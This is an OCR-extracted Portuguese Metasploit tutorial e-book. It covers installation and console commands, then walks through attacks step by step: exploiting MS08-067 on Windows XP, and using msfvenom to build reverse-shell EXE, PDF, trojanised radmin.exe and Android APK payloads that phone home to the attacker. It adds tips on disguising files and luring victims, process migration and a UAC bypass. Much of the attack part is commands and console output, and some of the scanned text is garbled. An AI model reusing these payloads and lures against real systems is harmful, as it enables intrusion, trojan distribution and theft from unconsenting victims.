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CONCEITOS

Oque é Metasploit?

O Metasploit Framework (MSF) € muito mais do que apenas uma
colecdo de exploragdes. E uma infra-estrutura que vocé pode construir e
utilizar para suas necessidades personalizadas. Isso permite que vocé
se concentre em seu ambiente Unico e ndo precise reinventar a

roda. Considero que o MSF é uma das ferramentas de auditoria mais
Uteis e gratuitas disponiveis gratuitamente para profissionais de
seguranca. A partir de uma ampla gama de exploracdes de grau
comercial e um extenso ambiente de desenvolvimento de exploracéo,
todo o caminho para ferramentas de coleta de informacdes de rede e
plugins de vulnerabilidades web, o Metasploit Framework oferece um
ambiente de trabalho verdadeiramente impressionante.

O projeto Metasploit foi criado em 2003 por HD Moore e € uma
plataforma que permite a verificacdo do estado da seguranca dos
computadores existentes numa determinada rede, permitindo atacar as
falhas de seguranca existentes nos mais diversos softwares. Este é 0
melhor conjunto de ferramentas para exploracéo, sendo atualizadas
diariamente com as mais recentes falhas de seguranca identificadas por
profissionais no ramo. Esta “framework” open source, esta em constante
transformacéao, € programada em Ruby e esta organizada em diversos
moddulos. Sdo estes médulos que contém os programas preparados
especificamente para tirarem partido de vulnerabilidades encontradas
nos softwares e sistemas operacionais, permitindo assim a execuc¢ao de
cbdigo malicioso e consequentemente a invasao da maquina.

Versodes:

Metasploit Express: Teste de Intrusdo por linha de comando
Geralmente utilizado em pequenas e médias empresas $ 5,000

Metasploit PRO: Versédo do Metasploit Profissional, Pago!
Aproximadamente $ 11,000

Metasploit Community Edition: Versao gratuita do Metasploit Pro $
0,00

Armitage: Uma interface grafica que nao foi criada pelos criadores do
Metasploit



Instalacao e Atualizacao

Instalagdo no Linux:

1.

2.

Abra o terminal
Agora baixe de acordo com seu Sistema Operacional
Sistemas 64 bits:

wget http://downloads.metasploit.com/data/releases/metasploit-latestlinux-
x64-installer.run

Sistemas 32 bits:

wget http://downloads.metasploit.com/data/releases/metasploit-latestlinux-
installer.run

Altere o modo do instalador para ser executavel
Sistemas 64 bits:

chmod +x /path/to/metasploit-latest-linux-x64-installer.run
Sistemas 32 bits:

chmod +x /path/to/metasploit-latest-linux-installer.run

Escolha uma das opc¢des abaixo para executar o instalador
Sistemas 64 bits:

sudo /path/to/metasploit-latest-linux-x64-installer.run

Sistemas 32 bits:

sudo /path/to/metasploit-latest-linux-installer.run

Quando a janela de configuragdo aparecer, clique em Avancar

(Forward) para iniciar o processo de instalagéo.
09 e setup

Setup - Metasploit

wWeicome to the Metasploit Setup Wizard


http://downloads.metasploit.com/data/releases/metasploit-latestlinux-x64-installer.run
http://downloads.metasploit.com/data/releases/metasploit-latestlinux-x64-installer.run
http://downloads.metasploit.com/data/releases/metasploit-latestlinux-installer.run
http://downloads.metasploit.com/data/releases/metasploit-latestlinux-installer.run

6. Aceite os Termos e clique em Avancgar (Forward).

License Agreement @

Please read the following License Agreement. You must accept the terms
of this agreement before continuing with the installation

Rapd? End User Ucense and Services Terms ana Conditions

Customer agrees to be bound by the following terms and conctions (this
"Agreement”) in connectian with its purchase and use of certain Rapid? LLC's
{("Rapid?™) Software and Services (each as defined bedow). Before Fataling and
using any Software and/or otaining and using any Services you should read this
Agreement carefutty  Clicking “accept™ or ctherwse mstaling andior using the
Software andior obtaining and/or using any Services establishes a bindng
agreemert between Rapitd? and you as the person licensing the Software andlor

@ | accept the agreement
| do not accept the agreement

Do you accept this license?

7. Escolha uma pasta para instalacéao e Clique em
Avancar(Forward).

088 sSetup

Installation folder @

PFlease, choose a folder to install Metasploit

Select a folder | foptimetasploit-x.x . _

8.Selecione Sim para registrar o Metasploit como um servigo
(recomendado). Clique em Avancgar para continuar.

088 Setup

Install as a service @

You can opticnally register Metasploit as a senvice. This way it will
autarmatically be started every time the machine is started.

Install Metasplait as a senice?

i Yes
Mo



9. Quando a janela Desativar antivirus e Firewall for exibida, verifique se
sua méaquina ndo possui antivirus Aplicativos de software ou firewall
em execucdo. Clique em Avancar quando estiver pronto.

Disable AnLi-Virus and Frrewall @

=== Disadle Anti-Virus! ==+

Tris product is not compatible with common anti-vires solutions
Selore continuing, pleasse dis sble any mnlalled arlivirus soflware o
acd anexchemion for the merasploit installarian direcrary Sallure ro do
so can l=ad to a corrupt installation and the malfunctioning of certain
exploit modules

‘o4 Disable Firewaslll -

This product is not comparibic with common Sircwall applicati ons
Altrougn it is possible to use Metasploit with a2 Frewall inplace, a
firewall will interfere with the Function of certain explcits and payloads
Plesse enswr e Lhel yous lNrewall is disabled priot Lo wsing Uhis producl
for a peretrationtest

sark || Forward cancel

10.Digite o numero da porta que deseja que o servico Metasploit
use. A porta padréo e 3790. Clique Avancar para continuar.

2O Setup

Metasploit Service @

Please enter the port that the Metasploit service will use.

SSL Port | 3790

11. Digite o nome do servidor que sera usado para gerar o
certificado SSL e o numero de dias que vocé deseja que 0
certificado SSL permaneca valido.

Generate an S5L Certificate [w
Please provide the fully gualified domain name of this system below (e.g.

metasploit.example.com). A certificate is generated For a specific server
name and web browsers will alert users if the name does not match.

Server Mame  |[EYEINEED ]

Days of validity | 3650 |

Should the generated certificate be added to the operating system's
trusted store?

B ves, trusk certificake

Back | Forward | Cancel




12.Clique em Avancar para continuar. A instalagdo comega.

ApoOs a conclusao da instalacao, aparece uma janela e solicita que vocé
inicie a Ul da Web Metasploit. Neste ponto, vocé deve acessar
https://localhost:3790 para iniciar a Ul da Web Metasploit para criar uma
conta de usuario e ativar sua chave de licenca. Vocé néo precisa
reiniciar seu sistema para relancar o Metasploit pela primeira vez.

Ativando uma Chave de Licenca

1. Abra seu navegador em https://localhost:3790

2. Sevocé receber um aviso sobre a confiabilidade do certificado
de segurancga, selecione que compreende 0s riscos e que deseje
continuar com o site. O texto que o0 aviso exibe depende do
navegador que vocé usa.

Wou have asked Firefos te conned secunely to localhost3 TN, But we can't confinm that your
connection is secure.

E& This Connection is Untrusted

Mermnally, when you try to connect sacurely, sites will present trusted idemtification to prove that you
are going to the right place. Howsever, this site's identity can’t be verified.

What Should I Do?

H you usually connect ko this site without problems, this esror could mean that someone is krying to
impersonate the site, and you shouwldn't continue

: Gatme oul of hera! |
Technical Details
I Understand the Risks

H you understand what's going on, you can tell Firefox o stert trusting this site's identification. Bwen if
0w trust the site, this evror could mean that someone is tampering with your connection,

Don't add an exception unless yvou know there's a gond reason why this site doesn't use trusted
identification.

Add Exception_

3. Quando ainterface da web para o Metasploit Pro aparece, a
pagina Nova Configuracdo do Usuario é exibida. Siga as
instrucdes natela para criar uma conta de usuério para o
Metasploit Pro. Salve as informacfes da conta do usuario para
gue vocé possa usa-lo mais tarde para fazer login no Metasploit
Pro.

Project ¥ 1 Account - thao ¥  Administration ¥ 7

) metasploit’
i

Home  UserAsmiistroticn  New User 4= Back to User List

User Settings

Password® i ]

Fasswond confirmation


https://localhost:3790/

4. Depois de criar uma conta de usuério, aparece a pagina Ativar
Metasploit. Digite a chave de licenga que vocé recebeu do
Rapid7 no campo Chave de produto.

Froject ¥ 1 Account - thao ¥ Administration ¥ ?

[ﬁ] metasploit'

Activate Your Metasploit License

1. Get Your Product Key

Chooss the productthat best meets your naeds: Metasplolt Pro or the free Metas ploid Community Edifion, If you alreaty have & community, trial or full licens @ product key, vou can skip this
GET PROMUCT KEY

2. Enter Product Key You've Recejved by Email

Fagte In the product key Miatwas sentto ma amall addres s you registened with ana click the ACTIVATE UCEMSE suttan

[T Use an HTTP Froiy 1o reach e imeme?

ACTIVATE LICENSE

Offling Activaian

Se vocé precisa usar um proxy HTTP para acessar a internet,
vocé pode selecionar a opcao proxy HTTP e fornecer as
informacdes para o servidor proxy HTTP que deseja usar.

5. Ative a chave dalicenca. Depois de ativar a chave de licenca,
aparece a pagina Projetos. Se vocé precisar de ajuda para
comecar, leia o Guia de Introducéo do Metasploit Pro em
https://community.rapid7.com/docs/DOC-1570

6. SO reiniciar os servicos Metasploit:
Para reiniciar o servico Metasploit, abra um terminal de linha de

comando e execute o0 seguinte comando: $ Sudo bash
/lopt/metasploit/ctiscript.sh reiniciar

Instalacdo Windows:

1. Visite http://windows.metasploit.com/metasploitframework-
latest.msi para baixar o instalador do Windows.

2. Depois de baixar o instalador, localize o arquivo e cliqgue duas
vezes no icone do instalador parainiciar o processo de
instalacao.


http://windows.metasploit.com/metasploitframework-latest.msi
http://windows.metasploit.com/metasploitframework-latest.msi

3. Quando atela Configuragéo for exibida, clique em Avancar para
continuar.

# Metasploit-framework v4.114 Setup = | =

=
O
o)
n
L
Q
&

Welcome to the Metasploit-framework
v4.11.4 Setup Wizard

The Setup Wizard will nstal Metasploit-framework v4.11.4
on your computer, Click Mext to contiue or Cancel to exit
the Setup Wizard.

framework

4. Leia o contrato de licenca e selecione a opcao Aceito aceito . Clique
em Avancar para continuar.

1 Metasploit-framework v.11.4 Setup =

End-tser License Agreament metasploit

tramewaork

Please read the 1:|_'4|cu'.'r'q;| license agreement :.-u':‘ﬁ_ll','

Copyright (C) 2006-2015, Rapid7?, Inc. -
Rll rights reserved. j
=

Eedistribution and use in source and binary forms, with
or without modification, are permitted provided that
the following conditions are met:

* Bedistributiona of source code muat retain the
above copyright notice this list of conditions
and the following disclaimer.

* Redistributiona in binary form muat reproduce the -

Y

| I accept the terms in the License Agreement




5. Procure o local onde deseja instalar o Metasploit Framework. Por
padréo, o framework esté instalado no C:\ Metasploit-
framework. Cligue em Avangar para continuar.

( 8] Metasploit-framework v4.11.4 Setup =)
tasploit
framework
Clidk the icons in the tres below o change the way features will be installed.
This feature requires 46308 on
your hard drive,
Location: Cx Browse...
[ Reset DiskUssge || Back [ met | cence |
6. Clique em Instalar .
([ ﬁ Metasploit-framework v4.11.4 Setup [l )

T L m——— mEtaS pIOit

framework

Click Install to begin the installation, Clhdk Badk to review or change any of your
installation settings. Chidk Cancel to exit the wizard.

| Back || Gymstel | [ cencel |

7. O processo de instalagdo pode levar 5-10 minutos para ser
concluido. Quando a instalagéo for concluida, clique
no botdo Finalizar.. Para iniciar o msfconsole apés a concluséo da
instalagdo, execute o seguinte a partir da linha de comando:

8. $ msfconsole.bat

10



Resolvendo Erro no Banco de dados

Erro na conexao do banco de dados do metasploit Linux
solucao:

Service postgresgl stop

Msfdb reinit

Service postgresql start

Msfconsole

Db_rebuild_cache = Espere 10 a 15 Minutos e depois
Relload_all

Por fim com service postgresql ativado dé o seguinte comando:
update.rc-d postgresql enable

Para quando reiniciar a maquina continue com servi¢o postgresql
ativado.

11



Definicdes

*Exploit = E um meio pelo qual um atacante consegue explorar uma
falha dentro de um Sistema

*Payload = Um codigo embutido em um exploit utilizado para
definicdo de pos exploracéo. E a agdo que sera executada pos
exploragéo

*Shellcode = E o codigo do Payload que € injetado no sistema
comprometido através do exploit.

*Module = Pequenos pedacgos de scripts que podem ser utilizados
pelo metasploit para realizar determinadas operacdes

sListener = Componente que aguarda uma conexao de retorno pés
invas&o. Util para conex&o reversa

12



Comandos Msfconsole
MSFConsole: Console do metasploit para facilitacdo de ataques
Sintaxe: msfconsole
Opcdes Basicas:
? — Apresenta 0 menu de ajuda
Back — Volta um nivel
Banner — Apresenta o Banner do Metasploit
Cd — Altera o diretorio corrente do Metasploit
Color - Altera a cor do metasploit
Connect — Conecta com outro Host
Edit — Edita o modulo corrente
Exit — Sair do console
Go_pro — Inicia o Metasploit em tela grafica
Grep - Filtra a saida do comando
Help — Apresenta o menu de ajuda
Info — Apresenta informacdes sobre um ou mais moédulos
Irb — Interpretador de comando Ruby
Jobs — Visualizacdo e gerenciamento de tarefas
Kill — Eliminador de tarefas
Load — Carregador de Framework Plugin
LoadPath — Adicionar caminhos aos modulos

Makerc — Salvar comandos executados desde a inicializacdo para o arquivo
especificado

Popm — Apresenta o ultimo modulo fora da pilha e o ativa, sem alterar o
mddulo em execucao

Previous — Define o médulo carregado anteriormente como o médulo atual
Pushm — Empurra os médulos ativos para a pilha

Quit — Sair do console

Reload_all — Recarrega todos os médulos

Resource — Carrega 0os comandos armazenados em um arquivo

Route — Rotear o trafego através de uma sessao

13



Save — Armazena os dados ativos

Search — Procura médulos por nomes e/ou descri¢des

Sessions — Alterna entre sessdes Set — Seta um valor & uma variavel
Setg — Seta um valor a uma variavel global

Show — Apresenta médulos de um determinado tipo ou todos os médulos
Sleep — N&o faz para durante um namero especificado de segundos
Spool — Apresenta no console o conteddo de um arquivo

Threads — Multiplica o nimero de requisicbes/ataques

Unload — Descarregar um framework plugin

Unset — Limpar dados de variaveis

Unsetg — Limpar dados de variaveis globais Use — Seleciona um modulo pelo
nome

Version — Apresenta as versdes do framework e o numero de bibliotecas

14



EXPLORACAQ

Comprometendo Windows XP

Entéo vamos explorar uma vulnerabilidade no Windows XP chamada MS08-067

gue basicamente, faz execuc¢do de um cédigo remoto ao qual o invasor que
aproveite dessa vulnerabilidade possa assumir completamente o controle da
maquina.

Mais Detalhes: https://support.microsoft.com/en-us/help/958644/ms08-067-
vulnerability-in-server-service-could-allow-remote-code-execu

Vamos comecgar?

1- Digite no seu terminal “msfconsole” (sem as aspas)

2- Agora selecione o exploit

msf > use expleoit/windows/smb/ms08_0 6'7_netapil

3- Agora selecione o Payload

msf exploit (ms08 067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcpl

4- Agora sete o IP do Alvo

msf exploit (ms08_067 netapi) > set RHOST "ALVO"

15



5- SeteoseulP

7- Antes de Iniciar a Exploracdo pode usar a opcéo “check” para
checar se a maquina alvo esta vulneravel.

msf exploit(ms08 087 netapi) > check
[+] 192.168.1.37:445 The target is vulnerable.
msf exploit {ms08 067 netapi) > I

8- Caso apareca a mensagem “The target is vulnerable.” Pode
iniciar a exploracao

msf exploit (ms08 067 netapi) > exploit

Started reverse TCP handler on 192.168.1.36:4444
.168.1.37:445 - Automatically detecting the targst...
.168.1.37:445 - Fingerprint: Windows XP - Service Pack 2 - lang:Port
Brazilian
.168.1.37:445 - Selected Target: Windows XP SP2 Portuguese - Brazilia

.168.1.37:445 - Attempting to trigger the vulnerability...
Sending stage (957487 bytes) to 192.168.1.37
Meterpreter session 1 opened (192.168.1.36:4444 -> 192.168.1.37:1051) a
2017-10-09 17:14:29 -0300

meterpreter > I

Caso apareca o “Meterpreter” significa que deu certo.

16



Comandos do Meterpreter

?: Mostra a ajuda do Meterpreter explicando todos os comandos.

background: Envia a sessao atual para o background e vocé volta para o
msfconsole para continuar trabalhando.

Sessions -l: lista todas as sessdes do Meterpreter

Session -i: conecta em uma sessao do Meterpreter por exemplo: sessions -i 1
“Me conecto na sessao 1 do Meterpreter.

bgkill: Mata algum processo que foi enviado para o background anteriormente.
Vocé precisa usar o bglist para verificar o ID do processo que vocé deseja
matar. Depois, vocé usa “bgkill <Numero do processo>" para finaliza-lo.

channel: Mostra informacdes sobre os canais ativos.
close: Fecha um canal.

disable_unicode_encoding/enable_unicode_encoding: Habilita ou
desabilita 0 uso do Unicode.

exit: Fecha uma sesséo do Meterpreter.
help: Mostra 0 menu de ajuda.

info: Mostra informagdes sobre um médulo do tipo “post” (0os homes de todos
eles comegam com “post”).

interact: Abre um shell com a vitima. Quando vocé fechar este shell, voltara
para o prompt do Meterpreter.

irb: Abre uma sesséo do irb, o interpretador de comandos do Ruby.
load: Carrega extensGes do Meterpreter.

migrate: Migra o Meterpreter para um outro processo da maquina.
guit: Termina a sessao.

read: Lé dados de um canal.

resource: Executa todos os comandos que estdo no arquivo que vocé passar
como parametro para este comando.

run: Executa um script. Veremos este comando em detalhes mais adiante.

use: E um alias para o comando load, explicado anteriormente, que esta
caindo em desuso.

17



Introducdo ao MSFVENOM

msfvenom € uma combinacado de Msfpayload e Msfencode , colocando essas
duas ferramentas em uma Unica instancia do Framework. msfvenom substituiu
msfpayload e msfencode a partir de 8 de junho de 2015.

As vantagens do msfvenom séo:

« Uma Unica ferramenta
e Opcoes de linha de comando padronizadas
« Aumento da velocidade

A Msfvenom possui uma ampla gama de opcdes disponiveis:

-p, - carregar um payload para usar. Especifique um payload para usar
--payload-options Lista as opc¢Oes padrao
-1, --list [type] Lista um tipo de modulo. As op¢des sao: cargas uteis,
codificadores, nops, tudo
-n, - nopsled Prepend um nopsled de tamanho [length] na carga util
-f, --format Formato de saida (use --help-formatos para uma lista)
- formatos de ajuda Formatos disponiveis para a lista
-e, --encoder O codificador para usar
-a, --arch A arquitetura para usar
--plataforma A plataforma da carga util
--help-platform Lista de plataformas disponiveis
-s, --space O tamanho maximo da carga util resultante
--coder-espaco O tamanho maximo da carga util codificada (padréo para o
valor -s)
-b, --bad-chars A lista de caracteres para evitar o exemplo: "\ x00 \ xff'
-i, - sensacdes O numero de vezes para codificar a carga util
-c, --add-code Especifica um arquivo shellcode win32 adicional para incluir
-X, --template Especifica um arquivo executavel personalizado para usar
como modelo
-k, - manutencdo Mantenha o comportamento do modelo e injete a carga
como um novo tépico
-0, --out Salve a carga util
-v, --var-name Especifica um nome de variavel personalizado para usar para
determinados formatos de saida
--mulher Gerar a menor carga Util possivel
-h, --help Mostrar esta mensagem

18



Comprometendo a Maquina Windows 7 e 10

Agora que ja comprometemos uma Maquina Windows XP que tal comprometer
uma Maquina Windows 7 ou 10?

N&o iremos usar um exploit como foi usado para comprometer uma Maquina
Windows XP que esté na rede, mas vamos usar o MSFVENOM para criar um
Payload e fazer uma Conexao Reversa, como assim?

Usando o Msfvenom vamos gerar um executavel malicioso ao qual a vitima ir4
baixar € a mesma coisa de um RAT (Remote Acess Trojan) que basicamente
guando a vitima clica-se no executavel ela fosse infectada e o atacante
conseguisse fazer qualquer coisa, Deletar, Roubar e Inserir, arquivos ou um
keylogger para capturar tudo o que a vitima digita.

Chega de Enrolacédo e vamos para pratica!! (Primeiro vou digitar passo a passo
e depois mostro como fica 0 comando completo)

Primeiro vamos gerar o nosso executavel malicioso
No terminal digite:

Msfvenom (Seria a Ferramenta)

-p (Payload)

Caso queira ver os payloads existentes de um --list payloads no nosso caso
vamos usar o mesmo payload que usamos para comprometer a maquina
Windows XP entéo digite:

-p Windows/meterpreter/reverse_tcp

(Reverse tcp seria pra fazer uma conexao reversa, ou seja a vitima ao abrir o
executavel ela se conectaria com vocé, ja ja vocé entendera)

Agora vamos estabelecer o IP ao qual a vitima ird se conectar ou seja, o IP do
atacante, entdo digite:

LHOST="SEU IP”

Agora vamos estabelecer a PORTA que vamos abrir ao qual a vitima ira se
conectar.

LPORT="PORTA” (padréo € 4444)
Agora vamos definir o formato entao digite
-f exe

Agora vamos salvar o arquivo, no meu caso Vou jogar no meu servidor
Apache2 que vem por padrdo no Kali Linux entdo eu coloco

> /var/lwww/html/payload.exe

19



Vamos ver o Comando Completo?

rootikali:~4 msfvenom -p windows/meterpreter/reverse_pcp lhost=192.168.1.36 lport=4444 -f exe > /
var /fwww/html /payload. exe [J

Depois disso de um Enter e ele vai dar essa mensagem caso esteja tudo ok.

rootlkali:~# msfvenom -p windows/meterpreter/reverse_ﬁcp lhost=192.168.1.36 lport=4444 -f exe > /
var /www/html /payload. exe

No platform was selected, choosing Msf::Module::Platform::Windows from the payload

No Arch selected, selecting Arch: x86 from the payload

o encoder or badchars specified, outputting raw payload

Payload size: 333 bytes

Final size of exe file: 73802 bytes

rootikali:~# I

Agora vamos iniciar o MSFCONSOLE para que possamos receber a conexao,
pois se & vitima clicar no Payload n&o ira ocorrer nada sem uma sessao aberta
no MSFCONSOLE. Vamos ver?

Digite: msfconsole
E vamos selecionar um exploit genérico, entao digite:
Use multi/handler

msf > use multi/handlerl

Em seguida vamos digitar o Payload:
set PAYLOAD Windows/meterpreter/reverse_tcp

msf exploit (handler) > sat paylecad windows/meterpreter/reverse_ﬁcpl

Agora vamos setar o nosso IP ao qual a vitima ird fazer a conexao, entéo
digite:

set LHOST “IP”

msf expleoit (handler) > set lhost IPI
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Agora vamos setar a porta que digitamos no MSFVENOM no meu caso foi a
4444 entao digite:

msf exploit{handler) > set lport 4444.

Depois disso vamos dar um exploit para iniciar a conexao

92.168.1.41:4444

Com isso ele vai esperar a vitima baixar o payload e executar, entdo espere a
vitima cair na sua Engenharia Social, e como vou saber se ela executou ou
nao? Quando aparecer essa mensagem aqui.

68.1.34

.1.41:4444 ->

Pronto! Pode pular de alegria que o senhor comprometeu a maquina do seu
vizinho chato kkkkk (Brincadeira)

Lembre-se: Eu usei uma maquina controlada ou seja, o Firewall estava
desativado e o Antivirus também.
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Criando Um PDF Malicioso

Ent&o conseguimos comprometer uma maquina Windows 7 e 10 com um
Executavel, mas dependendo do estado de seguranca do Windows da vitima
um Executavel ndo adiantaria, mas podemos invadir com outro método usando
0 Adobe PDF por meio de um exploit, vamos ver?

Entdo vamos usar o grep -i pdf “search” e jogar a palavra chave
“exploit/Windows/fileformat” (sem as aspas)

msf = grep -1 pdf search exploit/windows/fileformat

Ele vai nos dar os seguintes resultados:

Vamos usar o seguinte exploit:
exploit/Windows/fileformat/adobe pdf embedded_exe

Entao digite no msfconsole: use
exploit/Windows/fileformat/adobe pdf embedded_exe

oit/windows/fileformat/a

Vamos usar o “info” para ver as versdes vulneraveis do adobe pdf.
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Entao perceba:

wailable tar
Id MName

P3 (Engli:

Ele diz que a versao 8 e 9 esta vulneravel e ainda diz os sistemas operacionais
gue sao Windows XP SP3, Windows Vista e 7

Entdo vamos a exploracéo:
Antes sete o payload eu vou usar o meterpreter entdo eu vou digitar:
Set payload Windows/meterpreter/reverse_tcp

Agora eu digito o LHOST e o LPORT por padréo ja vem 4444 e vou manter
assim.

Agora vamos ver as opcdes que esse exploit nos fornece, entdo eu digito show
options para me mostrar

) = show options
/fileformat/
MName Current Setting

Required Description

EXENAME

FILENAME

Id Name

XP SP3 (English/Spanish) / Wind
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Perceba que ele pede EXENAME ou Nome do Executavel mais ndo é
Requerido ou seja, ndo é obrigatorio.

FILENAME por padréo ele gera o evil.pdf mas tu pode mudar pro nome que
quiser.pdf

INFILENAME por padréo é aquele template de pdf mas tu pode pegar um
existente e substituir para que fique mais dificil da vitima desconfiar.

LAUNCH_MESSAGE € a mensagem que aparece quando ela for abrir o PDF,
eu recomendo trocar para um mensagem em que convenca a vitima a abrir.

Vamos para pratica:

Vou comecar renomeando o pdf, entdo de set FILENAME “nome que deseja”

] = set FILENAME Z

Vou mudar o arquivo também mas néo é obrigatério eu vou usar um pdf
qualquer.

) = set INFILEMNAME /u
manual .pdf

Peguei um pdf qualquer no meu Kali eu digitei no terminal “locate .pdf’ e
selecionei qualquer um.

E Agora vou mudar a mensagem para que a vitima seja convencida, entao use
a sua criatividade, entédo digite set LAUNCH_MESSAGE “Mensagem”

) = set LAUNCH_MESSAGE Leia para ganhar ingr

Usarei essa mensagem mas € légico que ndo vai convencer muitos
principalmente quem nao € de TI.

Agora eu dou um exploit e ele vai gerar o pdf e no meu caso ele vai jogar na
pasta /root/.msf4/local
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Antes de vocé mandar o seu pdf para vitima ndo se esqueca de configurar o
exploit genérico, entdo digite “back” para sair do exploit

E faca o processo padrao:

Use multi/handler

E depois digite o payload:

Set payload Windows/meterpreter/reverse_tcp
Set |host “seu ip”

Set Iport “porta que vocé selecionou”

E depois disse de um “exploit” ou “run” para iniciar a conexao

Mame Current

168.1.34
.1.41:4444 -> 193

Pronto! Quando ela abrir vocé vai receber a conexao com Meterpreter e agora
€ so Brincar!
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Criando Um Arquivo EXE Malicioso a partir de um
Existente

Agora vamos ver como podemos transformar o nosso Payload ou Backdoor em
um Trojan.

Trojan = Também conhecido como cavalo de Troia (em inglés Trojan horse), é
um malware que executa acdes em um computador criando uma porta para
uma possivel invasao sem a autorizacao do usuario. Trata-se de um programa
gue tem um pacote de virus e na maioria das vezes € utilizado para se
conseguir informacdes de outros computadores ou executar operacdes
indevidas em diversos dispositivos. Essas instrugdes sao pré-programadas
pelos criminosos e depois enviadas como virus para as vitimas.

No Kali Linux existe uma pasta que é a /usr/share/Windows-binaries onde
contem uns executaveis, vamos dar uma olhada?

-ies# s
nbtenum radmin. exe whoami.exe
sbhd. exe

enumplus er.exe nc.txt vncviewer, exe
exeZbat.exe plink.exe wget.exe

Observe em verdes sao 0s programas, vamos usar o radmin.exe, Chega de
enrolacdo e vamos para pratica.

Msfvenom -p Windows/meterpreter/reverse_tcp lhost="IP” Iport="porta” -
x radmin.exe -k -f exe >radmin2.exe

Vou explicar o passo a passo depois do LPORT

-X

-k

“Indica qual arquivo ele vai colocar o backdoor”

“Para dizer para ele fazer um Bind”
-f = “Formato final”

Ficara assim:

Depois de gerar 0 nosso trojan, antes de mandar para vitima faca o processo
do multi/handler entédo digite:

Msfconsole
Use multi/handler

Set payload Windows/meterpreter/reverse_tcp
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Set lhost “ip”
Set Iport “porta que colocou, no meu caso € a 2222
Exploit

E agora € sé esperar a vitima clicar e vocé recebera a conexdo com
meterpreter.

8

radminz

Esse é o executavel, dificil a vitimar desconfiar.
Diferente de um payload que nao possui icone u

Pode gerar uma desconfianga.

payload

Entéo quando a vitima executar o Trojan ira abrir essa tela

Connection  Mode Wiew Tools Help

& radmin Yiewer (=] 4]

A0 I E =R IS =
=5

|Fu|| conkrol

Na imagem o lado Direito temos o Trojan Executado, e no lado Esquerdo é a
conexao realizada.

4
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Comprometendo Um Dispositivo Android

Agora vamos comprometer um Dispositivo Android como SmartPhones e
Tablets, vamos la!

Primeiramente vamos gerar um apk malicioso usando com o msfvenom, e
vamos usar o payload do android, entédo digite:

Msfvenom -p android/meterpreter/reverse_tcp lhost="IP” Iport="De sua
preferéncia” -f apk > “nome do apk”

Entao vai ficar assim:

:~# msfvenom -p android/meterpreter/reverse tcp lhost=ipdoatacante lport=1234 -f
k.apk

raw > fac

Depois de gerar faca o processo padrdo do multi/handler.
msfconsole

Use multi/handler

Set payload android/meterpreter/reverse_tcp

Set lhost “ip”

Set Iport “porta que colocou”

Exploit

E ai é sO esperar a vitima baixar e executar.

Lembre-se: O aplicativo apos ser instalado ndo vai possuir 0 nome que vocé
colocou, ele vai ficar como “MAIN ACTIVY”

Pronto! Vocé comprometeu o Dispositivo da vitima.

Como é dificil usuérios leigos ler o contrato do Aplicativo que baixam ou ter um
antivirus no celular, é muito facil efetuar uma invasdo em dispositivos celular ou
tablets que usa o sistema android.
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POS EXPLORACAO

Migrando Um Processo Para o Outro

Agora vamos entrar com contetdo de pés-exploracdo. Entdo agora eu vou
ensinar como migrar um processo para o outro, como assim? Os processos
séo softwares que estdo rodando em seu computador, tanto em primeiro plano
como em segundo plano, um payload a ser executado ele abre um processo,
entao se a vitima encerrar esse processo vocé perdera a conexao com a
maquina, mas se migrarmos um processo a vitima podera fechar o processo do
payload que vocé ndo perderd a conexao. Vamos ver na pratica.

Entdo depois de comprometer a maquina da vitima e obter a sessdo no
Meterpreter, vamos digitar o seguinte comando:

PS = Listar os Processos Ativados

PPID Name

[l g |

Invadir-PCh\Invadir

4
4
4
4
4
4
4
4
4
4
4
1

Invadir-PC

Esses sdo 0s processos que estdo rodando em minha maquina. Mas um
detalhe processos que precisa de permissdo do Administrador ou Root (no
Linux) sem a escalacado de privilégio (vamos ver jaja) ndo vai ser possivel
migrar, e para identificar esses processos, sdo aqueles que nao tem Usuario.

Um processo que eu recomendo a todos migrarem € o “explorer.exe” é dificil
algum usuario leigo pensar em desativa-lo. Entdo como fazemos?
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vadir-PC\Invadir

vadir-PCh\Invadir

vadir-PCh\Invadir

Perceba na Imagem que temos o explorer.exe e ele ndo é uma “Autoridade de
Sistema” e perceba que o meu “PAYLOAD” é a mesma coisa, e perceba que
marquei 0 numero 1244 do explorer.exe que seria 0 numero do processo,
entdo por esse numero vamos migrar. Vamos ver? Entao digite:

Migrate “numero do processo” no meu caso é 0 1244 do explorer.exe

Perceba ele ta migrando o processo 2964 (payload) pro 1244 (explorer.exe)

Entdo se a vitima encerrar vou continuar com a conexao, entdo vocé pode
digitar:

Kill “processo do payload” no meu caso € o 2964

vadir-
vadir-PC\In

vadir-

vadir-PC\NIn

Viu? Entdo a primeira coisa da pos exploracdo é a migracdo de processo.
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Introducdo ao Prompt de Comando

Para uma poés exploracéo legal precisamos conhecer o Prompt de Comando ou
MS-DOS do (WINDOWS), entdo vamos conhecer alguns comandos e dar uma
brincada.

Comandos:

Dir = lista os diretérios

Deltree = apaga pastas com subpastas e todos os arquivos
Shutdown = permite desligar o computador local ou remoto
Systeminfo = Da informacg6es do sistema

Tasklist = mostra a lista de processos

Taskkill = fecha algum processo exemplo: taskkill /pid “numero do
processo”

Whoami = mostra as permissdes que vOCé possui

Ipconfig = exibe as configuracdes de Ip, gateway e mascara de sub-rede
CD = Navega em diretorios

Start = Inicia alguma aplicacéo

MKDIR = cria um novo diretério

RMDIR = remove um diretorio
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Escalacao de Privilegios

Vamos usar alguns médulos auxiliares para nos ajudar com a pos exploracao,
e primeiramente vamos escalar nossos privilégios. No meterpreter digite:
Background para sair da sesséo, e digite search bypassuac e vai aparecer os
seguintes resultados:

2012-01-03 llent Windows

Wi

Wind

normal Wind

vamos usar o exploit/Windows/local/bypassuac
Entao digite: use exploit/Windows/local/bypassuac

Em seguida dé um Show options

o run this mo
e 1f UAC is

Information

Invadir @ INVADIR-PC 68.1.41:4444 -=
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E Perceba que temos uma sessao aberta, entdo pegue o ID e digite: set
SESSION “numero da sessao” antes disso perceba que no target vai esta
Windows x86 ou seja 32 bits, caso o sistema da vitima for x64 de um show
targets

= show tTarge

E em seguida escreva: set target “id”

Depois disso digite: exploit
m=f exploit(

Started reverse handler on 192.168.1,161:4443

Lau ing notepad to host the expleit...

Proc 48 launched.

Reflectively injecting the exploit DLL into 4848...
Injecting explolt into 484

Exploit injected. Injecting payload into 484
Payload injected. Executin ploit...

pefully privileged) payload execution to complete.

Meterpreter ion 2 opened { L161:4443 -» 192.168.1.71:49264) at Z614-83-11 11:14:66

Elevai abrir em seguida uma nova sessao no meterpreter, caso nao entre
automaticamente digite: sessions -i “ID DA NOVA SESSAO”

Depois disso digite:

meterpreter >

